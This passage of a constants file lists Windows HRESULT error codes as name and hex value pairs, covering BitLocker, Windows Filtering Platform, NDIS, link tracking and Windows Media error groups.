FVE_E_FAILED_WRONG_FS = 0x80310013
FVE_E_FAILED_BAD_FS = 0x80310014
FVE_E_NOT_SUPPORTED = 0x80310015
FVE_E_BAD_DATA = 0x80310016
FVE_E_VOLUME_NOT_BOUND = 0x80310017
FVE_E_TPM_NOT_OWNED = 0x80310018
FVE_E_NOT_DATA_VOLUME = 0x80310019
FVE_E_AD_INSUFFICIENT_BUFFER = 0x8031001A
FVE_E_CONV_READ = 0x8031001B
FVE_E_CONV_WRITE = 0x8031001C
FVE_E_KEY_REQUIRED = 0x8031001D
FVE_E_CLUSTERING_NOT_SUPPORTED = 0x8031001E
FVE_E_VOLUME_BOUND_ALREADY = 0x8031001F
FVE_E_OS_NOT_PROTECTED = 0x80310020
FVE_E_PROTECTION_DISABLED = 0x80310021
FVE_E_RECOVERY_KEY_REQUIRED = 0x80310022
FVE_E_FOREIGN_VOLUME = 0x80310023
FVE_E_OVERLAPPED_UPDATE = 0x80310024
FVE_E_TPM_SRK_AUTH_NOT_ZERO = 0x80310025
FVE_E_FAILED_SECTOR_SIZE = 0x80310026
FVE_E_FAILED_AUTHENTICATION = 0x80310027
FVE_E_NOT_OS_VOLUME = 0x80310028
FVE_E_AUTOUNLOCK_ENABLED = 0x80310029
FVE_E_WRONG_BOOTSECTOR = 0x8031002A
FVE_E_WRONG_SYSTEM_FS = 0x8031002B
FVE_E_POLICY_PASSWORD_REQUIRED = 0x8031002C
FVE_E_CANNOT_SET_FVEK_ENCRYPTED = 0x8031002D
FVE_E_CANNOT_ENCRYPT_NO_KEY = 0x8031002E
FVE_E_BOOTABLE_CDDVD = 0x80310030
FVE_E_PROTECTOR_EXISTS = 0x80310031
FVE_E_RELATIVE_PATH = 0x80310032
FWP_E_CALLOUT_NOT_FOUND = 0x80320001
FWP_E_CONDITION_NOT_FOUND = 0x80320002
FWP_E_FILTER_NOT_FOUND = 0x80320003
FWP_E_LAYER_NOT_FOUND = 0x80320004
FWP_E_PROVIDER_NOT_FOUND = 0x80320005
FWP_E_PROVIDER_CONTEXT_NOT_FOUND = 0x80320006
FWP_E_SUBLAYER_NOT_FOUND = 0x80320007
FWP_E_NOT_FOUND = 0x80320008
FWP_E_ALREADY_EXISTS = 0x80320009
FWP_E_IN_USE = 0x8032000A
FWP_E_DYNAMIC_SESSION_IN_PROGRESS = 0x8032000B
FWP_E_WRONG_SESSION = 0x8032000C
FWP_E_NO_TXN_IN_PROGRESS = 0x8032000D
FWP_E_TXN_IN_PROGRESS = 0x8032000E
FWP_E_TXN_ABORTED = 0x8032000F
FWP_E_SESSION_ABORTED = 0x80320010
FWP_E_INCOMPATIBLE_TXN = 0x80320011
FWP_E_TIMEOUT = 0x80320012
FWP_E_NET_EVENTS_DISABLED = 0x80320013
FWP_E_INCOMPATIBLE_LAYER = 0x80320014
FWP_E_KM_CLIENTS_ONLY = 0x80320015
FWP_E_LIFETIME_MISMATCH = 0x80320016
FWP_E_BUILTIN_OBJECT = 0x80320017
FWP_E_TOO_MANY_BOOTTIME_FILTERS = 0x80320018
FWP_E_NOTIFICATION_DROPPED = 0x80320019
FWP_E_TRAFFIC_MISMATCH = 0x8032001A
FWP_E_INCOMPATIBLE_SA_STATE = 0x8032001B
FWP_E_NULL_POINTER = 0x8032001C
FWP_E_INVALID_ENUMERATOR = 0x8032001D
FWP_E_INVALID_FLAGS = 0x8032001E
FWP_E_INVALID_NET_MASK = 0x8032001F
FWP_E_INVALID_RANGE = 0x80320020
FWP_E_INVALID_INTERVAL = 0x80320021
FWP_E_ZERO_LENGTH_ARRAY = 0x80320022
FWP_E_NULL_DISPLAY_NAME = 0x80320023
FWP_E_INVALID_ACTION_TYPE = 0x80320024
FWP_E_INVALID_WEIGHT = 0x80320025
FWP_E_MATCH_TYPE_MISMATCH = 0x80320026
FWP_E_TYPE_MISMATCH = 0x80320027
FWP_E_OUT_OF_BOUNDS = 0x80320028
FWP_E_RESERVED = 0x80320029
FWP_E_DUPLICATE_CONDITION = 0x8032002A
FWP_E_DUPLICATE_KEYMOD = 0x8032002B
FWP_E_ACTION_INCOMPATIBLE_WITH_LAYER = 0x8032002C
FWP_E_ACTION_INCOMPATIBLE_WITH_SUBLAYER = 0x8032002D
FWP_E_CONTEXT_INCOMPATIBLE_WITH_LAYER = 0x8032002E
FWP_E_CONTEXT_INCOMPATIBLE_WITH_CALLOUT = 0x8032002F
FWP_E_INCOMPATIBLE_AUTH_METHOD = 0x80320030
FWP_E_INCOMPATIBLE_DH_GROUP = 0x80320031
FWP_E_EM_NOT_SUPPORTED = 0x80320032
FWP_E_NEVER_MATCH = 0x80320033
FWP_E_PROVIDER_CONTEXT_MISMATCH = 0x80320034
FWP_E_INVALID_PARAMETER = 0x80320035
FWP_E_TOO_MANY_SUBLAYERS = 0x80320036
FWP_E_CALLOUT_NOTIFICATION_FAILED = 0x80320037
FWP_E_INCOMPATIBLE_AUTH_CONFIG = 0x80320038
FWP_E_INCOMPATIBLE_CIPHER_CONFIG = 0x80320039
ERROR_NDIS_INTERFACE_CLOSING = 0x80340002
ERROR_NDIS_BAD_VERSION = 0x80340004
ERROR_NDIS_BAD_CHARACTERISTICS = 0x80340005
ERROR_NDIS_ADAPTER_NOT_FOUND = 0x80340006
ERROR_NDIS_OPEN_FAILED = 0x80340007
ERROR_NDIS_DEVICE_FAILED = 0x80340008
ERROR_NDIS_MULTICAST_FULL = 0x80340009
ERROR_NDIS_MULTICAST_EXISTS = 0x8034000A
ERROR_NDIS_MULTICAST_NOT_FOUND = 0x8034000B
ERROR_NDIS_REQUEST_ABORTED = 0x8034000C
ERROR_NDIS_RESET_IN_PROGRESS = 0x8034000D
ERROR_NDIS_INVALID_PACKET = 0x8034000F
ERROR_NDIS_INVALID_DEVICE_REQUEST = 0x80340010
ERROR_NDIS_ADAPTER_NOT_READY = 0x80340011
ERROR_NDIS_INVALID_LENGTH = 0x80340014
ERROR_NDIS_INVALID_DATA = 0x80340015
ERROR_NDIS_BUFFER_TOO_SHORT = 0x80340016
ERROR_NDIS_INVALID_OID = 0x80340017
ERROR_NDIS_ADAPTER_REMOVED = 0x80340018
ERROR_NDIS_UNSUPPORTED_MEDIA = 0x80340019
ERROR_NDIS_GROUP_ADDRESS_IN_USE = 0x8034001A
ERROR_NDIS_FILE_NOT_FOUND = 0x8034001B
ERROR_NDIS_ERROR_READING_FILE = 0x8034001C
ERROR_NDIS_ALREADY_MAPPED = 0x8034001D
ERROR_NDIS_RESOURCE_CONFLICT = 0x8034001E
ERROR_NDIS_MEDIA_DISCONNECTED = 0x8034001F
ERROR_NDIS_INVALID_ADDRESS = 0x80340022
ERROR_NDIS_PAUSED = 0x8034002A
ERROR_NDIS_INTERFACE_NOT_FOUND = 0x8034002B
ERROR_NDIS_UNSUPPORTED_REVISION = 0x8034002C
ERROR_NDIS_INVALID_PORT = 0x8034002D
ERROR_NDIS_INVALID_PORT_STATE = 0x8034002E
ERROR_NDIS_NOT_SUPPORTED = 0x803400BB
ERROR_NDIS_DOT11_AUTO_CONFIG_ENABLED = 0x80342000
ERROR_NDIS_DOT11_MEDIA_IN_USE = 0x80342001
ERROR_NDIS_DOT11_POWER_STATE_INVALID = 0x80342002
TRK_E_NOT_FOUND = 0x8DEAD01B
TRK_E_VOLUME_QUOTA_EXCEEDED = 0x8DEAD01C
TRK_SERVER_TOO_BUSY = 0x8DEAD01E
ERROR_AUDITING_DISABLED = 0xC0090001
ERROR_ALL_SIDS_FILTERED = 0xC0090002
ERROR_BIZRULES_NOT_ENABLED = 0xC0090003
NS_E_NOCONNECTION = 0xC00D0005
NS_E_CANNOTCONNECT = 0xC00D0006
NS_E_CANNOTDESTROYTITLE = 0xC00D0007
NS_E_CANNOTRENAMETITLE = 0xC00D0008
NS_E_CANNOTOFFLINEDISK = 0xC00D0009
NS_E_CANNOTONLINEDISK = 0xC00D000A
NS_E_NOREGISTEREDWALKER = 0xC00D000B
NS_E_NOFUNNEL = 0xC00D000C
NS_E_NO_LOCALPLAY = 0xC00D000D
NS_E_NETWORK_BUSY = 0xC00D000E
NS_E_TOO_MANY_SESS = 0xC00D000F
NS_E_ALREADY_CONNECTED = 0xC00D0010
NS_E_INVALID_INDEX = 0xC00D0011
NS_E_PROTOCOL_MISMATCH = 0xC00D0012
NS_E_TIMEOUT = 0xC00D0013
NS_E_NET_WRITE = 0xC00D0014
NS_E_NET_READ = 0xC00D0015
NS_E_DISK_WRITE = 0xC00D0016
NS_E_DISK_READ = 0xC00D0017
NS_E_FILE_WRITE = 0xC00D0018
NS_E_FILE_READ = 0xC00D0019
NS_E_FILE_NOT_FOUND = 0xC00D001A
NS_E_FILE_EXISTS = 0xC00D001B
NS_E_INVALID_NAME = 0xC00D001C
NS_E_FILE_OPEN_FAILED = 0xC00D001D
NS_E_FILE_ALLOCATION_FAILED = 0xC00D001E
NS_E_FILE_INIT_FAILED = 0xC00D001F
NS_E_FILE_PLAY_FAILED = 0xC00D0020
NS_E_SET_DISK_UID_FAILED = 0xC00D0021
NS_E_INDUCED = 0xC00D0022
NS_E_CCLINK_DOWN = 0xC00D0023
NS_E_INTERNAL = 0xC00D0024
NS_E_BUSY = 0xC00D0025
NS_E_UNRECOGNIZED_STREAM_TYPE = 0xC00D0026
NS_E_NETWORK_SERVICE_FAILURE = 0xC00D0027
NS_E_NETWORK_RESOURCE_FAILURE = 0xC00D0028
NS_E_CONNECTION_FAILURE = 0xC00D0029
NS_E_SHUTDOWN = 0xC00D002A
NS_E_INVALID_REQUEST = 0xC00D002B
NS_E_INSUFFICIENT_BANDWIDTH = 0xC00D002C
NS_E_NOT_REBUILDING = 0xC00D002D
NS_E_LATE_OPERATION = 0xC00D002E
NS_E_INVALID_DATA = 0xC00D002F
NS_E_FILE_BANDWIDTH_LIMIT = 0xC00D0030
NS_E_OPEN_FILE_LIMIT = 0xC00D0031
NS_E_BAD_CONTROL_DATA = 0xC00D0032
NS_E_NO_STREAM = 0xC00D0033
NS_E_STREAM_END = 0xC00D0034
NS_E_SERVER_NOT_FOUND = 0xC00D0035
NS_E_DUPLICATE_NAME = 0xC00D0036
NS_E_DUPLICATE_ADDRESS = 0xC00D0037
NS_E_BAD_MULTICAST_ADDRESS = 0xC00D0038
NS_E_BAD_ADAPTER_ADDRESS = 0xC00D0039
NS_E_BAD_DELIVERY_MODE = 0xC00D003A
NS_E_INVALID_CHANNEL = 0xC00D003B
NS_E_INVALID_STREAM = 0xC00D003C
NS_E_INVALID_ARCHIVE = 0xC00D003D
NS_E_NOTITLES = 0xC00D003E
NS_E_INVALID_CLIENT = 0xC00D003F
NS_E_INVALID_BLACKHOLE_ADDRESS = 0xC00D0040
NS_E_INCOMPATIBLE_FORMAT = 0xC00D0041
NS_E_INVALID_KEY = 0xC00D0042
NS_E_INVALID_PORT = 0xC00D0043
NS_E_INVALID_TTL = 0xC00D0044
NS_E_STRIDE_REFUSED = 0xC00D0045
NS_E_MMSAUTOSERVER_CANTFINDWALKER = 0xC00D0046
NS_E_MAX_BITRATE = 0xC00D0047
NS_E_LOGFILEPERIOD = 0xC00D0048
NS_E_MAX_CLIENTS = 0xC00D0049
NS_E_LOG_FILE_SIZE = 0xC00D004A
NS_E_MAX_FILERATE = 0xC00D004B
NS_E_WALKER_UNKNOWN = 0xC00D004C
NS_E_WALKER_SERVER = 0xC00D004D
NS_E_WALKER_USAGE = 0xC00D004E
NS_E_TIGER_FAIL = 0xC00D0050
NS_E_CUB_FAIL = 0xC00D0053
NS_E_DISK_FAIL = 0xC00D0055
NS_E_MAX_FUNNELS_ALERT = 0xC00D0060
NS_E_ALLOCATE_FILE_FAIL = 0xC00D0061
NS_E_PAGING_ERROR = 0xC00D0062
NS_E_BAD_BLOCK0_VERSION = 0xC00D0063
NS_E_BAD_DISK_UID = 0xC00D0064
NS_E_BAD_FSMAJOR_VERSION = 0xC00D0065
NS_E_BAD_STAMPNUMBER = 0xC00D0066
NS_E_PARTIALLY_REBUILT_DISK = 0xC00D0067
NS_E_ENACTPLAN_GIVEUP = 0xC00D0068
MCMADM_E_REGKEY_NOT_FOUND = 0xC00D006A
NS_E_NO_FORMATS = 0xC00D006B
NS_E_NO_REFERENCES = 0xC00D006C
NS_E_WAVE_OPEN = 0xC00D006D
NS_E_CANNOTCONNECTEVENTS = 0xC00D006F
NS_E_NO_DEVICE = 0xC00D0071
NS_E_NO_SPECIFIED_DEVICE = 0xC00D0072
NS_E_MONITOR_GIVEUP = 0xC00D00C8
NS_E_REMIRRORED_DISK = 0xC00D00C9
NS_E_INSUFFICIENT_DATA = 0xC00D00CA
NS_E_ASSERT = 0xC00D00CB
NS_E_BAD_ADAPTER_NAME = 0xC00D00CC
NS_E_NOT_LICENSED = 0xC00D00CD
NS_E_NO_SERVER_CONTACT = 0xC00D00CE
NS_E_TOO_MANY_TITLES = 0xC00D00CF
NS_E_TITLE_SIZE_EXCEEDED = 0xC00D00D0
NS_E_UDP_DISABLED = 0xC00D00D1
NS_E_TCP_DISABLED = 0xC00D00D2
NS_E_HTTP_DISABLED = 0xC00D00D3
NS_E_LICENSE_EXPIRED = 0xC00D00D4
NS_E_TITLE_BITRATE = 0xC00D00D5
NS_E_EMPTY_PROGRAM_NAME = 0xC00D00D6
NS_E_MISSING_CHANNEL = 0xC00D00D7
NS_E_NO_CHANNELS = 0xC00D00D8
NS_E_INVALID_INDEX2 = 0xC00D00D9
NS_E_CUB_FAIL_LINK = 0xC00D0190
NS_E_BAD_CUB_UID = 0xC00D0192
NS_E_GLITCH_MODE = 0xC00D0195
NS_E_NO_MEDIA_PROTOCOL = 0xC00D019B
NS_E_NOTHING_TO_DO = 0xC00D07F1
NS_E_NO_MULTICAST = 0xC00D07F2
NS_E_INVALID_INPUT_FORMAT = 0xC00D0BB8
NS_E_MSAUDIO_NOT_INSTALLED = 0xC00D0BB9
NS_E_UNEXPECTED_MSAUDIO_ERROR = 0xC00D0BBA
NS_E_INVALID_OUTPUT_FORMAT = 0xC00D0BBB
NS_E_NOT_CONFIGURED = 0xC00D0BBC
NS_E_PROTECTED_CONTENT = 0xC00D0BBD
NS_E_LICENSE_REQUIRED = 0xC00D0BBE
NS_E_TAMPERED_CONTENT = 0xC00D0BBF
NS_E_LICENSE_OUTOFDATE = 0xC00D0BC0
NS_E_LICENSE_INCORRECT_RIGHTS = 0xC00D0BC1
NS_E_AUDIO_CODEC_NOT_INSTALLED = 0xC00D0BC2
NS_E_AUDIO_CODEC_ERROR = 0xC00D0BC3
NS_E_VIDEO_CODEC_NOT_INSTALLED = 0xC00D0BC4
NS_E_VIDEO_CODEC_ERROR = 0xC00D0BC5
NS_E_INVALIDPROFILE = 0xC00D0BC6
NS_E_INCOMPATIBLE_VERSION = 0xC00D0BC7
NS_E_OFFLINE_MODE = 0xC00D0BCA
NS_E_NOT_CONNECTED = 0xC00D0BCB
NS_E_TOO_MUCH_DATA = 0xC00D0BCC
NS_E_UNSUPPORTED_PROPERTY = 0xC00D0BCD
NS_E_8BIT_WAVE_UNSUPPORTED = 0xC00D0BCE
NS_E_NO_MORE_SAMPLES = 0xC00D0BCF
NS_E_INVALID_SAMPLING_RATE = 0xC00D0BD0
NS_E_MAX_PACKET_SIZE_TOO_SMALL = 0xC00D0BD1
NS_E_LATE_PACKET = 0xC00D0BD2
NS_E_DUPLICATE_PACKET = 0xC00D0BD3
NS_E_SDK_BUFFERTOOSMALL = 0xC00D0BD4
NS_E_INVALID_NUM_PASSES = 0xC00D0BD5
NS_E_ATTRIBUTE_READ_ONLY = 0xC00D0BD6
NS_E_ATTRIBUTE_NOT_ALLOWED = 0xC00D0BD7
NS_E_INVALID_EDL = 0xC00D0BD8
NS_E_DATA_UNIT_EXTENSION_TOO_LARGE = 0xC00D0BD9
NS_E_CODEC_DMO_ERROR = 0xC00D0BDA
NS_E_FEATURE_DISABLED_BY_GROUP_POLICY = 0xC00D0BDC
NS_E_FEATURE_DISABLED_IN_SKU = 0xC00D0BDD
NS_E_NO_CD = 0xC00D0FA0
NS_E_CANT_READ_DIGITAL = 0xC00D0FA1
NS_E_DEVICE_DISCONNECTED = 0xC00D0FA2
NS_E_DEVICE_NOT_SUPPORT_FORMAT = 0xC00D0FA3
NS_E_SLOW_READ_DIGITAL = 0xC00D0FA4
NS_E_MIXER_INVALID_LINE = 0xC00D0FA5
NS_E_MIXER_INVALID_CONTROL = 0xC00D0FA6
NS_E_MIXER_INVALID_VALUE = 0xC00D0FA7
NS_E_MIXER_UNKNOWN_MMRESULT = 0xC00D0FA8
NS_E_USER_STOP = 0xC00D0FA9
NS_E_MP3_FORMAT_NOT_FOUND = 0xC00D0FAA
NS_E_CD_READ_ERROR_NO_CORRECTION = 0xC00D0FAB
NS_E_CD_READ_ERROR = 0xC00D0FAC
NS_E_CD_SLOW_COPY = 0xC00D0FAD
NS_E_CD_COPYTO_CD = 0xC00D0FAE
NS_E_MIXER_NODRIVER = 0xC00D0FAF
NS_E_REDBOOK_ENABLED_WHILE_COPYING = 0xC00D0FB0
NS_E_CD_REFRESH = 0xC00D0FB1
NS_E_CD_DRIVER_PROBLEM = 0xC00D0FB2
NS_E_WONT_DO_DIGITAL = 0xC00D0FB3
NS_E_WMPXML_NOERROR = 0xC00D0FB4
NS_E_WMPXML_ENDOFDATA = 0xC00D0FB5
NS_E_WMPXML_PARSEERROR = 0xC00D0FB6
NS_E_WMPXML_ATTRIBUTENOTFOUND = 0xC00D0FB7
NS_E_WMPXML_PINOTFOUND = 0xC00D0FB8
NS_E_WMPXML_EMPTYDOC = 0xC00D0FB9
NS_E_WMP_PATH_ALREADY_IN_LIBRARY = 0xC00D0FBA
NS_E_WMP_FILESCANALREADYSTARTED = 0xC00D0FBE
NS_E_WMP_HME_INVALIDOBJECTID = 0xC00D0FBF
NS_E_WMP_MF_CODE_EXPIRED = 0xC00D0FC0
NS_E_WMP_HME_NOTSEARCHABLEFORITEMS = 0xC00D0FC1
NS_E_WMP_ADDTOLIBRARY_FAILED = 0xC00D0FC7
NS_E_WMP_WINDOWSAPIFAILURE = 0xC00D0FC8
NS_E_WMP_RECORDING_NOT_ALLOWED = 0xC00D0FC9
NS_E_DEVICE_NOT_READY = 0xC00D0FCA
NS_E_DAMAGED_FILE = 0xC00D0FCB
NS_E_MPDB_GENERIC = 0xC00D0FCC
NS_E_FILE_FAILED_CHECKS = 0xC00D0FCD
NS_E_MEDIA_LIBRARY_FAILED = 0xC00D0FCE
NS_E_SHARING_VIOLATION = 0xC00D0FCF
NS_E_NO_ERROR_STRING_FOUND = 0xC00D0FD0
NS_E_WMPOCX_NO_REMOTE_CORE = 0xC00D0FD1
NS_E_WMPOCX_NO_ACTIVE_CORE = 0xC00D0FD2
NS_E_WMPOCX_NOT_RUNNING_REMOTELY = 0xC00D0FD3
NS_E_WMPOCX_NO_REMOTE_WINDOW = 0xC00D0FD4
NS_E_WMPOCX_ERRORMANAGERNOTAVAILABLE = 0xC00D0FD5
NS_E_PLUGIN_NOTSHUTDOWN = 0xC00D0FD6
NS_E_WMP_CANNOT_FIND_FOLDER = 0xC00D0FD7
NS_E_WMP_STREAMING_RECORDING_NOT_ALLOWED = 0xC00D0FD8
NS_E_WMP_PLUGINDLL_NOTFOUND = 0xC00D0FD9
NS_E_NEED_TO_ASK_USER = 0xC00D0FDA
NS_E_WMPOCX_PLAYER_NOT_DOCKED = 0xC00D0FDB
NS_E_WMP_EXTERNAL_NOTREADY = 0xC00D0FDC
NS_E_WMP_MLS_STALE_DATA = 0xC00D0FDD
NS_E_WMP_UI_SUBCONTROLSNOTSUPPORTED = 0xC00D0FDE
NS_E_WMP_UI_VERSIONMISMATCH = 0xC00D0FDF
NS_E_WMP_UI_NOTATHEMEFILE = 0xC00D0FE0
NS_E_WMP_UI_SUBELEMENTNOTFOUND = 0xC00D0FE1
NS_E_WMP_UI_VERSIONPARSE = 0xC00D0FE2
NS_E_WMP_UI_VIEWIDNOTFOUND = 0xC00D0FE3
NS_E_WMP_UI_PASSTHROUGH = 0xC00D0FE4
NS_E_WMP_UI_OBJECTNOTFOUND = 0xC00D0FE5
NS_E_WMP_UI_SECONDHANDLER = 0xC00D0FE6
NS_E_WMP_UI_NOSKININZIP = 0xC00D0FE7
NS_E_WMP_URLDOWNLOADFAILED = 0xC00D0FEA
NS_E_WMPOCX_UNABLE_TO_LOAD_SKIN = 0xC00D0FEB
NS_E_WMP_INVALID_SKIN = 0xC00D0FEC
NS_E_WMP_SENDMAILFAILED = 0xC00D0FED
NS_E_WMP_LOCKEDINSKINMODE = 0xC00D0FEE
NS_E_WMP_FAILED_TO_SAVE_FILE = 0xC00D0FEF
NS_E_WMP_SAVEAS_READONLY = 0xC00D0FF0
NS_E_WMP_FAILED_TO_SAVE_PLAYLIST = 0xC00D0FF1
NS_E_WMP_FAILED_TO_OPEN_WMD = 0xC00D0FF2
NS_E_WMP_CANT_PLAY_PROTECTED = 0xC00D0FF3
NS_E_SHARING_STATE_OUT_OF_SYNC = 0xC00D0FF4
NS_E_WMPOCX_REMOTE_PLAYER_ALREADY_RUNNING = 0xC00D0FFA
NS_E_WMP_RBC_JPGMAPPINGIMAGE = 0xC00D1004
NS_E_WMP_JPGTRANSPARENCY = 0xC00D1005
NS_E_WMP_INVALID_MAX_VAL = 0xC00D1009
NS_E_WMP_INVALID_MIN_VAL = 0xC00D100A
NS_E_WMP_CS_JPGPOSITIONIMAGE = 0xC00D100E
NS_E_WMP_CS_NOTEVENLYDIVISIBLE = 0xC00D100F
NS_E_WMPZIP_NOTAZIPFILE = 0xC00D1018
NS_E_WMPZIP_CORRUPT = 0xC00D1019
NS_E_WMPZIP_FILENOTFOUND = 0xC00D101A
NS_E_WMP_IMAGE_FILETYPE_UNSUPPORTED = 0xC00D1022
NS_E_WMP_IMAGE_INVALID_FORMAT = 0xC00D1023
NS_E_WMP_GIF_UNEXPECTED_ENDOFFILE = 0xC00D1024
NS_E_WMP_GIF_INVALID_FORMAT = 0xC00D1025
NS_E_WMP_GIF_BAD_VERSION_NUMBER = 0xC00D1026
NS_E_WMP_GIF_NO_IMAGE_IN_FILE = 0xC00D1027
NS_E_WMP_PNG_INVALIDFORMAT = 0xC00D1028
NS_E_WMP_PNG_UNSUPPORTED_BITDEPTH = 0xC00D1029
NS_E_WMP_PNG_UNSUPPORTED_COMPRESSION = 0xC00D102A
NS_E_WMP_PNG_UNSUPPORTED_FILTER = 0xC00D102B
NS_E_WMP_PNG_UNSUPPORTED_INTERLACE = 0xC00D102C
NS_E_WMP_PNG_UNSUPPORTED_BAD_CRC = 0xC00D102D
NS_E_WMP_BMP_INVALID_BITMASK = 0xC00D102E
NS_E_WMP_BMP_TOPDOWN_DIB_UNSUPPORTED = 0xC00D102F
NS_E_WMP_BMP_BITMAP_NOT_CREATED = 0xC00D1030
NS_E_WMP_BMP_COMPRESSION_UNSUPPORTED = 0xC00D1031
NS_E_WMP_BMP_INVALID_FORMAT = 0xC00D1032
NS_E_WMP_JPG_JERR_ARITHCODING_NOTIMPL = 0xC00D1033
NS_E_WMP_JPG_INVALID_FORMAT = 0xC00D1034
NS_E_WMP_JPG_BAD_DCTSIZE = 0xC00D1035
NS_E_WMP_JPG_BAD_VERSION_NUMBER = 0xC00D1036
NS_E_WMP_JPG_BAD_PRECISION = 0xC00D1037
NS_E_WMP_JPG_CCIR601_NOTIMPL = 0xC00D1038
NS_E_WMP_JPG_NO_IMAGE_IN_FILE = 0xC00D1039
NS_E_WMP_JPG_READ_ERROR = 0xC00D103A
NS_E_WMP_JPG_FRACT_SAMPLE_NOTIMPL = 0xC00D103B
NS_E_WMP_JPG_IMAGE_TOO_BIG = 0xC00D103C
NS_E_WMP_JPG_UNEXPECTED_ENDOFFILE = 0xC00D103D
NS_E_WMP_JPG_SOF_UNSUPPORTED = 0xC00D103E
NS_E_WMP_JPG_UNKNOWN_MARKER = 0xC00D103F
NS_E_WMP_FAILED_TO_OPEN_IMAGE = 0xC00D1044
NS_E_WMP_DAI_SONGTOOSHORT = 0xC00D1049
NS_E_WMG_RATEUNAVAILABLE = 0xC00D104A
NS_E_WMG_PLUGINUNAVAILABLE = 0xC00D104B
NS_E_WMG_CANNOTQUEUE = 0xC00D104C
NS_E_WMG_PREROLLLICENSEACQUISITIONNOTALLOWED = 0xC00D104D
NS_E_WMG_UNEXPECTEDPREROLLSTATUS = 0xC00D104E
NS_E_WMG_INVALID_COPP_CERTIFICATE = 0xC00D1051
NS_E_WMG_COPP_SECURITY_INVALID = 0xC00D1052
NS_E_WMG_COPP_UNSUPPORTED = 0xC00D1053
NS_E_WMG_INVALIDSTATE = 0xC00D1054
NS_E_WMG_SINKALREADYEXISTS = 0xC00D1055
NS_E_WMG_NOSDKINTERFACE = 0xC00D1056
NS_E_WMG_NOTALLOUTPUTSRENDERED = 0xC00D1057
NS_E_WMG_FILETRANSFERNOTALLOWED = 0xC00D1058
NS_E_WMR_UNSUPPORTEDSTREAM = 0xC00D1059
NS_E_WMR_PINNOTFOUND = 0xC00D105A
NS_E_WMR_WAITINGONFORMATSWITCH = 0xC00D105B
NS_E_WMR_NOSOURCEFILTER = 0xC00D105C
NS_E_WMR_PINTYPENOMATCH = 0xC00D105D
NS_E_WMR_NOCALLBACKAVAILABLE = 0xC00D105E
NS_E_WMR_SAMPLEPROPERTYNOTSET = 0xC00D1062
NS_E_WMR_CANNOT_RENDER_BINARY_STREAM = 0xC00D1063
NS_E_WMG_LICENSE_TAMPERED = 0xC00D1064
NS_E_WMR_WILLNOT_RENDER_BINARY_STREAM = 0xC00D1065
NS_E_WMX_UNRECOGNIZED_PLAYLIST_FORMAT = 0xC00D1068
NS_E_ASX_INVALIDFORMAT = 0xC00D1069
NS_E_ASX_INVALIDVERSION = 0xC00D106A
NS_E_ASX_INVALID_REPEAT_BLOCK = 0xC00D106B
NS_E_ASX_NOTHING_TO_WRITE = 0xC00D106C
NS_E_URLLIST_INVALIDFORMAT = 0xC00D106D
NS_E_WMX_ATTRIBUTE_DOES_NOT_EXIST = 0xC00D106E
NS_E_WMX_ATTRIBUTE_ALREADY_EXISTS = 0xC00D106F
NS_E_WMX_ATTRIBUTE_UNRETRIEVABLE = 0xC00D1070
NS_E_WMX_ITEM_DOES_NOT_EXIST = 0xC00D1071
NS_E_WMX_ITEM_TYPE_ILLEGAL = 0xC00D1072
NS_E_WMX_ITEM_UNSETTABLE = 0xC00D1073
NS_E_WMX_PLAYLIST_EMPTY = 0xC00D1074
NS_E_MLS_SMARTPLAYLIST_FILTER_NOT_REGISTERED = 0xC00D1075
NS_E_WMX_INVALID_FORMAT_OVER_NESTING = 0xC00D1076
NS_E_WMPCORE_NOSOURCEURLSTRING = 0xC00D107C
NS_E_WMPCORE_COCREATEFAILEDFORGITOBJECT = 0xC00D107D
NS_E_WMPCORE_FAILEDTOGETMARSHALLEDEVENTHANDLERINTERFACE = 0xC00D107E
NS_E_WMPCORE_BUFFERTOOSMALL = 0xC00D107F
NS_E_WMPCORE_UNAVAILABLE = 0xC00D1080
NS_E_WMPCORE_INVALIDPLAYLISTMODE = 0xC00D1081
NS_E_WMPCORE_ITEMNOTINPLAYLIST = 0xC00D1086
NS_E_WMPCORE_PLAYLISTEMPTY = 0xC00D1087
NS_E_WMPCORE_NOBROWSER = 0xC00D1088
NS_E_WMPCORE_UNRECOGNIZED_MEDIA_URL = 0xC00D1089
NS_E_WMPCORE_GRAPH_NOT_IN_LIST = 0xC00D108A
NS_E_WMPCORE_PLAYLIST_EMPTY_OR_SINGLE_MEDIA = 0xC00D108B
NS_E_WMPCORE_ERRORSINKNOTREGISTERED = 0xC00D108C
NS_E_WMPCORE_ERRORMANAGERNOTAVAILABLE = 0xC00D108D
NS_E_WMPCORE_WEBHELPFAILED = 0xC00D108E
NS_E_WMPCORE_MEDIA_ERROR_RESUME_FAILED = 0xC00D108F
NS_E_WMPCORE_NO_REF_IN_ENTRY = 0xC00D1090
NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_NAME_EMPTY = 0xC00D1091
NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_NAME_ILLEGAL = 0xC00D1092
NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_VALUE_EMPTY = 0xC00D1093
NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_VALUE_ILLEGAL = 0xC00D1094
NS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_NAME_EMPTY = 0xC00D1095
NS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_NAME_ILLEGAL = 0xC00D1096
NS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_VALUE_EMPTY = 0xC00D1097
NS_E_WMPCORE_LIST_ENTRY_NO_REF = 0xC00D1098
NS_E_WMPCORE_MISNAMED_FILE = 0xC00D1099
NS_E_WMPCORE_CODEC_NOT_TRUSTED = 0xC00D109A
NS_E_WMPCORE_CODEC_NOT_FOUND = 0xC00D109B
NS_E_WMPCORE_CODEC_DOWNLOAD_NOT_ALLOWED = 0xC00D109C
NS_E_WMPCORE_ERROR_DOWNLOADING_PLAYLIST = 0xC00D109D
NS_E_WMPCORE_FAILED_TO_BUILD_PLAYLIST = 0xC00D109E
NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_NONE = 0xC00D109F
NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_EXHAUSTED = 0xC00D10A0
NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_NAME_NOT_FOUND = 0xC00D10A1
NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_MORPH_FAILED = 0xC00D10A2
NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_INIT_FAILED = 0xC00D10A3
NS_E_WMPCORE_MEDIA_ALTERNATE_REF_EMPTY = 0xC00D10A4
